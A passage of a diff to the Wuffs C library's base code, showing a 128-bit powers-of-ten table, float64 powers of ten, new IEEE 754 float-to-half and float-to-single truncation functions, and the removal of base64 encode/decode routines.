0x9C40000000000000}, // 1e4 ++ {0x0000000000000000, 0xC350000000000000}, // 1e5 ++ {0x0000000000000000, 0xF424000000000000}, // 1e6 ++ {0x0000000000000000, 0x9896800000000000}, // 1e7 ++ {0x0000000000000000, 0xBEBC200000000000}, // 1e8 ++ {0x0000000000000000, 0xEE6B280000000000}, // 1e9 ++ {0x0000000000000000, 0x9502F90000000000}, // 1e10 ++ {0x0000000000000000, 0xBA43B74000000000}, // 1e11 ++ {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 ++ {0x0000000000000000, 0x9184E72A00000000}, // 1e13 ++ {0x0000000000000000, 0xB5E620F480000000}, // 1e14 ++ {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 ++ {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 ++ {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 ++ {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 ++ {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 ++ {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 ++ {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 ++ {0x0000000000000000, 0x878678326EAC9000}, // 1e22 ++ {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 ++ {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 ++ {0x0000000000000000, 0x84595161401484A0}, // 1e25 ++ {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 ++ {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 ++ {0x4000000000000000, 0x813F3978F8940984}, // 1e28 ++ {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 ++ {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 ++ {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 ++ {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 ++ {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 ++ {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 ++ {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 ++ {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 ++ {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 ++ {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 ++ {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 ++ {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 ++ {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 ++ {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 ++ {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 ++ {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 ++ {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 ++ {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 ++ {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 ++ {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 ++ {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 ++ {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 ++ {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 ++ {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 ++ {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 ++ {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 ++ {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 ++ {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 ++ {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 ++ {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 ++ {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 ++ {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 ++ {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 ++ {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 ++ {0x63CC55F49F88EB2F, 0x9B934C3B330C8577}, // 1e63 ++ {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 ++ {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 ++ {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 ++ {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 ++ {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 ++ {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 ++ {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 ++ {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 ++ {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 ++ {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 ++ {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 ++ {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 ++ {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 ++ {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 ++ {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 ++ {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 ++ {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 ++ {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 ++ {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 ++ {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 ++ {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 ++ {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 ++ {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 ++ {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 ++ {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 ++ {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 ++ {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 ++ {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 ++ {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 ++ {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 ++ {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 ++ {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 ++ {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 ++ {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 ++ {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 ++ {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 ++ {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 ++ {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 ++ {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 ++ {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 ++ {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 ++ {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 ++ {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 ++ {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 ++ {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 ++ {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 ++ {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 ++ {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 ++ {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 ++ {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 ++ {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 ++ {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 ++ {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 ++ {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 ++ {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 ++ {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 ++ {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 ++ {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 ++ {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 ++ {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 ++ {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 ++ {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 ++ {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 ++ {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 ++ {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 ++ {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 ++ {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 ++ {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 ++ {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 ++ {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 ++ {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 ++ {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 ++ {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 ++ {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 ++ {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 ++ {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 ++ {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 ++ {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 ++ {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 ++ {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 ++ {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 ++ {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 ++ {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 ++ {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 ++ {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 ++ {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 ++ {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 ++ {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 ++ {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 ++ {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 ++ {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 ++ {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 ++ {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 ++ {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 ++ {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 ++ {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 ++ {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 ++ {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 ++ {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 ++ {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 ++ {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 ++ {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 ++ {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 ++ {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 ++ {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 ++ {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 ++ {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 ++ {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 ++ {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 ++ {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 ++ {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 ++ {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 ++ {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 ++ {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 ++ {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 ++ {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 ++ {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 ++ {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 ++ {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 ++ {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 ++ {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 ++ {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 ++ {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 ++ {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 ++ {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 ++ {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 ++ {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 ++ {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 ++ {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 ++ {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 ++ {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 ++ {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 ++ {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 ++ {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 ++ {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 ++ {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 ++ {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 ++ {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 ++ {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 ++ {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 ++ {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 ++ {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 ++ {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 ++ {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 ++ {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 ++ {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 ++ {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 ++ {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 ++ {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 ++ {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 ++ {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 ++ {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 ++ {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 ++ {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 ++ {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 ++ {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 ++ {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 ++ {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 ++ {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 ++ {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 ++ {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 ++ {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 ++ {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 ++ {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 ++ {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 ++ {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 ++ {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 ++ {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 ++ {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 ++ {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 ++ {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 ++ {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 ++ {0x169840EF017DA3B1, 0xFB9B7CD9A4A7443C}, // 1e236 ++ {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 ++ {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 ++ {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 ++ {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 ++ {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 ++ {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 ++ {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 ++ {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 ++ {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 ++ {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 ++ {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 ++ {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 ++ {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 ++ {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 ++ {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 ++ {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 ++ {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 ++ {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 ++ {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 ++ {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 ++ {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 ++ {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 ++ {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 ++ {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 ++ {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 ++ {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 ++ {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 ++ {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 ++ {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 ++ {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 ++ {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 ++ {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 ++ {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 ++ {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 ++ {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 ++ {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 ++ {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 ++ {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 ++ {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 ++ {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 ++ {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 ++ {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 ++ {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 ++ {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 ++ {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 ++ {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 ++ {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 ++ {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 ++ {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 ++ {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 ++ {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 ++ {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 + }; + +-// -------- ++// wuffs_private_impl__f64_powers_of_10 holds powers of 10 that can be exactly ++// represented by a float64 (what C calls a double). ++static const double wuffs_private_impl__f64_powers_of_10[23] = { ++ 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, ++ 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, ++}; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_64__decode(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) +- ? wuffs_base__base_64__decode_url +- : wuffs_base__base_64__decode_std; +- wuffs_base__transform__output o; +- uint8_t* d_ptr = dst.ptr; +- size_t d_len = dst.len; +- const uint8_t* s_ptr = src.ptr; +- size_t s_len = src.len; +- bool pad = false; ++// ---------------- IEEE 754 Floating Point + +- while (s_len >= 4) { +- uint32_t s = wuffs_base__peek_u32le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- uint32_t s2 = alphabet[0xFF & (s >> 16)]; +- uint32_t s3 = alphabet[0xFF & (s >> 24)]; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // ++wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { ++ uint64_t u = 0; ++ if (sizeof(uint64_t) == sizeof(double)) { ++ memcpy(&u, &f, sizeof(uint64_t)); ++ } ++ uint16_t neg = ((uint16_t)((u >> 63) << 15)); ++ u &= 0x7FFFFFFFFFFFFFFF; ++ uint64_t exp = u >> 52; ++ uint64_t man = u & 0x000FFFFFFFFFFFFF; + +- if (((s0 | s1 | s2 | s3) & 0xC0) != 0) { +- if (s_len > 4) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } else if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } else if ((options & WUFFS_BASE__BASE_64__DECODE_ALLOW_PADDING) && +- (s_ptr[3] == '=')) { +- pad = true; +- if (s_ptr[2] == '=') { +- goto src2; +- } +- goto src3; +- } +- o.status.repr = wuffs_base__error__bad_data; +- goto done; ++ if (exp == 0x7FF) { ++ if (man == 0) { // Infinity. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7C00; ++ ret.lossy = false; ++ return ret; + } ++ // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most ++ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 ++ // bits of ret.value so that the 10-bit mantissa is non-zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); ++ ret.lossy = false; ++ return ret; + +- if (d_len < 3) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } ++ } else if (exp > 0x40E) { // Truncate to the largest finite f16. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | 0x7BFF; ++ ret.lossy = true; ++ return ret; + +- s_ptr += 4; +- s_len -= 4; +- s = (s0 << 18) | (s1 << 12) | (s2 << 6) | (s3 << 0); +- *d_ptr++ = (uint8_t)(s >> 16); +- *d_ptr++ = (uint8_t)(s >> 8); +- *d_ptr++ = (uint8_t)(s >> 0); +- d_len -= 3; +- } +- +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } ++ } else if (exp <= 0x3E6) { // Truncate to zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg; ++ ret.lossy = (u != 0); ++ return ret; + +- if (s_len == 0) { +- o.status.repr = NULL; +- goto done; +- } else if (s_len == 1) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } else if (s_len == 2) { +- goto src2; ++ } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. ++ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a ++ // 10-bit mantissa and then adjust for the exponent. ++ man |= 0x0010000000000000; ++ uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. ++ uint64_t shifted_man = man >> shift; ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | ((uint16_t)shifted_man); ++ ret.lossy = (shifted_man << shift) != man; ++ return ret; + } + +-src3: +- do { +- uint32_t s = wuffs_base__peek_u24le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- uint32_t s2 = alphabet[0xFF & (s >> 16)]; +- if ((s0 & 0xC0) || (s1 & 0xC0) || (s2 & 0xC3)) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } +- if (d_len < 2) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- s_ptr += pad ? 4 : 3; +- s = (s0 << 18) | (s1 << 12) | (s2 << 6); +- *d_ptr++ = (uint8_t)(s >> 16); +- *d_ptr++ = (uint8_t)(s >> 8); +- o.status.repr = NULL; +- goto done; +- } while (0); ++ // Normal f64, normal f16. + +-src2: +- do { +- uint32_t s = wuffs_base__peek_u16le__no_bounds_check(s_ptr); +- uint32_t s0 = alphabet[0xFF & (s >> 0)]; +- uint32_t s1 = alphabet[0xFF & (s >> 8)]; +- if ((s0 & 0xC0) || (s1 & 0xCF)) { +- o.status.repr = wuffs_base__error__bad_data; +- goto done; +- } +- if (d_len < 1) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- s_ptr += pad ? 4 : 2; +- s = (s0 << 18) | (s1 << 12); +- *d_ptr++ = (uint8_t)(s >> 16); +- o.status.repr = NULL; +- goto done; +- } while (0); ++ // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. ++ exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. + +-done: +- o.num_dst = (size_t)(d_ptr - dst.ptr); +- o.num_src = (size_t)(s_ptr - src.ptr); +- return o; ++ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit ++ // mantissa (again excluding the implicit bit). We lose some information if ++ // any of the bottom 42 bits are non-zero. ++ wuffs_base__lossy_value_u16 ret; ++ ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); ++ ret.lossy = (man << 22) != 0; ++ return ret; + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_64__encode(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- const uint8_t* alphabet = (options & WUFFS_BASE__BASE_64__URL_ALPHABET) +- ? wuffs_base__base_64__encode_url +- : wuffs_base__base_64__encode_std; +- wuffs_base__transform__output o; +- uint8_t* d_ptr = dst.ptr; +- size_t d_len = dst.len; +- const uint8_t* s_ptr = src.ptr; +- size_t s_len = src.len; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // ++wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { ++ uint64_t u = 0; ++ if (sizeof(uint64_t) == sizeof(double)) { ++ memcpy(&u, &f, sizeof(uint64_t)); ++ } ++ uint32_t neg = ((uint32_t)(u >> 63)) << 31; ++ u &= 0x7FFFFFFFFFFFFFFF; ++ uint64_t exp = u >> 52; ++ uint64_t man = u & 